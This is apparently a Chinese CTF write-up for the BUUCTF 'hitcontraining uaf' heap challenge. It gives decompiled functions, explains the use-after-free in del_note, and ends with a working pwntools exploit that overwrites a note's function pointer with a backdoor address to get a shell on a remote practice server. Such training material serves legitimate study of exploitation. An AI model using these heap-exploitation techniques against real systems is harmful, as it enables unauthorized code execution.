hitcontraining uaf
# hitcontraining uaf
# 前提
# 查看文件保护
[*] '/root/pwn/buuctf/hitcontraining_uaf/hacknote'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
2
3
4
5
6
# 静态分析
主函数如下:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+0h] [ebp-Ch]
int *v5; // [esp+4h] [ebp-8h]
v5 = &argc;
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
add_note函数如下:
void *add_note()
{
void *result; // eax
_DWORD *v1; // esi
char buf; // [esp+0h] [ebp-18h]
size_t size; // [esp+8h] [ebp-10h]
int i; // [esp+Ch] [ebp-Ch]
result = (void *)count;
if ( count > 5 )
return (void *)puts("Full");
for ( i = 0; i <= 4; ++i )
{
result = notelist[i];
if ( !result )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v1 = notelist[i];
v1[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
return (void *)(count++ + 1);
}
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
print_note函数如下:
void *print_note()
{
void *result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = notelist[v2];
if ( result )
result = (void *)(*(int (__cdecl **)(void *))notelist[v2])(notelist[v2]);
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
del_note函数如下:
int del_note()
{
int result; // eax
char buf; // [esp+8h] [ebp-10h]
int v2; // [esp+Ch] [ebp-Ch]
printf("Index :");
read(0, &buf, 4u);
v2 = atoi(&buf);
if ( v2 < 0 || v2 >= count )
{
puts("Out of bound!");
_exit(0);
}
result = (int)notelist[v2];
if ( result )
{
free(*((void **)notelist[v2] + 1));
free(notelist[v2]);
result = puts("Success");
}
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
magic函数如下:
int magic()
{
return system("/bin/sh");
}
1
2
3
4
2
3
4
# 思路分析
目前信息:
del_note
函数释放内存时没有清空指针,存在uaf
- 存在后门函数
magic
- Partial RELRO
- No canary found
- NX enabled
- No PIE
思路:
- 一次
add_note
函数的执行将申请2
个堆块,第一个堆块大小为8
字节且为堆块的控制部分,分别存放print_note
函数地址与第二个自定义大小的堆块地址,这里选择先申请2
个大堆块,分别释放后,大小不同的2
个bins
分别串起来对应的数据,这时申请自定义大小刚好为8
字节的堆块,将会把2
个8
字节堆块都申请回来使用,根据后进先出的原理,原来第二个堆块的控制堆块成为第三个堆块的控制堆块,第一个堆块的控制堆块则成为第三个堆块的数据堆块,这时更改其中的函数指针为backdoor
地址,对第一个块执行print_note
即可获得shell
- 一次
# exp
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(os='linux', arch='i386', log_level='debug')
pwnfile = '/root/pwn/buuctf/hitcontraining_uaf/hacknote'
io = remote('node4.buuoj.cn', 28145)
# io = process(pwnfile)
def Create(io, size, content):
io.sendlineafter(":", '1')
io.sendlineafter(":", str(size))
io.sendlineafter(":", content)
def Delete(io, index):
io.sendlineafter(":", '2')
io.sendlineafter(":", str(index))
def Print(io, index):
io.sendlineafter(":", '3')
io.sendlineafter(":", str(index))
elf = ELF(pwnfile)
back_door = elf.symbols['magic']
Create(io, 0x10, 'aaaa')
Create(io, 0x10, 'bbbb')
Delete(io, 0)
Delete(io, 1)
Create(io, 0x8, flat([back_door]))
Print(io, 0)
io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
上次更新: 2022/08/15, 00:29:49